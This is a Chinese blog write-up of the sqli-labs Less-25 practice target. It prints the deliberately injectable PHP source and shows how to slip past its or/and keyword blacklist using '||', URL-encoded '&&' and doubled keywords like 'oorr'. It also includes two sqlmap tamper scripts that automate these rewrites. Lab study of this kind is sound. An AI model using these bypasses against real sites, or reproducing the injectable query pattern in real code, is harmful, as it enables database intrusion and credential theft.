Catalog
  1. 1. 靶场
    1. 1.1. 环境
    2. 1.2. 分析源码
  2. 2. 绕过
    1. 2.1. 大小写绕过
    2. 2.2. 等价替换
  3. 3. tamper编写
    1. 3.1. tamper写法规则
    2. 3.2. 编写tamper
sqlmap-tamper编写练习

无聊练习一下,之前没写过。

靶场

环境

语言:PHP

解析器和数据库:phpstudy

系统:Windows

分析源码

看一下界面

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-25 Trick with OR & AND</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");


// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

//fiddling with comments
$id= blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;

// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}


function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}




?>
</font> </div></br></br></br><center>
<img src="../images/Less-25.jpg" />
</br>
</br>
</br>
<img src="../images/Less-25-1.jpg" />
</br>
</br>
<font size='4' color= "#33FFFF">
<?php
echo "Hint: Your Input is Filtered with following result: ".$hint;
?>
</font>
</center>
</body>
</html>

分析:

将变量$id通过url的get请求方式传入sql语句中,执行查询语句。
对URL键入的$id变量进行处理,使用PHP的内置函数preg_replace进行正则匹配将键入的$id变量的”or”和”and”替换成””

绕过

大小写绕过

考虑过大小写绕过,将”or”和”and”替换成”Or”和”And”,在数据库中操作是成功的

但是在web端操作的时候发现,preg_replace函数是不区分大小写的,它把’and’这个单词不管是大小写都替换成’’l了

等价替换

在数据库操作中,

and=&&

or=||

在web端操作

‘or’=’||’是可以的。

‘and’=’&&’在web端不成功,分析一下原因

在php内’&&’为逻辑运算符,即是且,and的意思,他在传入php内已经被认为是逻辑运算符已经先被php执行了,就没传入sql语句中被sql执行了。

于是我把’&&’进行url编码。就可以传入sql语句中成功执行了。

tamper编写

tamper写法规则

讲一下tamper的写法规则

1
2
3
4
5
6
7
8
9
10
# 必须要导入的库
from lib.core.enums import PRIORITY
# 定义该tamper脚本的优先级
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''此处是tamper的说明'''
retVal = payload
# 此处是用于修改payload的代码
# 返回修改后的payload
return retVal

编写tamper

按照绕过规则写tamper:

‘and’=’%26%26’

‘or’=’||’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
#coding=utf-8

import random
import re


from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
retVal = payload
retVal = re.sub(r"(OR)", "||", retVal)#通过正则将OR替换成||
retVal = re.sub(r"(AND)", "%26%26", retVal)#通过正则将AND替换成%26%26
return retVal

执行一下试试:

然后我们发现他执行sql的’ORD’函数的时候也把’OR’替换成’||’了。这时候我们就得换个思路了。

再看一次规则:

他把’or’替换成’’

如果我们键入’oorr’,根据他的规则就会变成’or’,那我们的效果也达到。

我们在web端尝试一下效果。

我们把这个思路写到tamper试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
#coding=utf-8

import random
import re


from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
retVal = payload
retVal = re.sub(r"(OR)", "OORR", retVal)#通过正则将OR替换成OORR
retVal = re.sub(r"(AND)", "%26%26", retVal)#通过正则将AND替换成%26%26
return retVal

成了!!!

试一下全部运行的结果。

不过同理,把’AND’替换成’AANDND’,不过这里不尝试了。

Author: 九指
Link: /2019/07/01/sqlmap-tamper%E7%BC%96%E5%86%99%E7%BB%83%E4%B9%A0/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶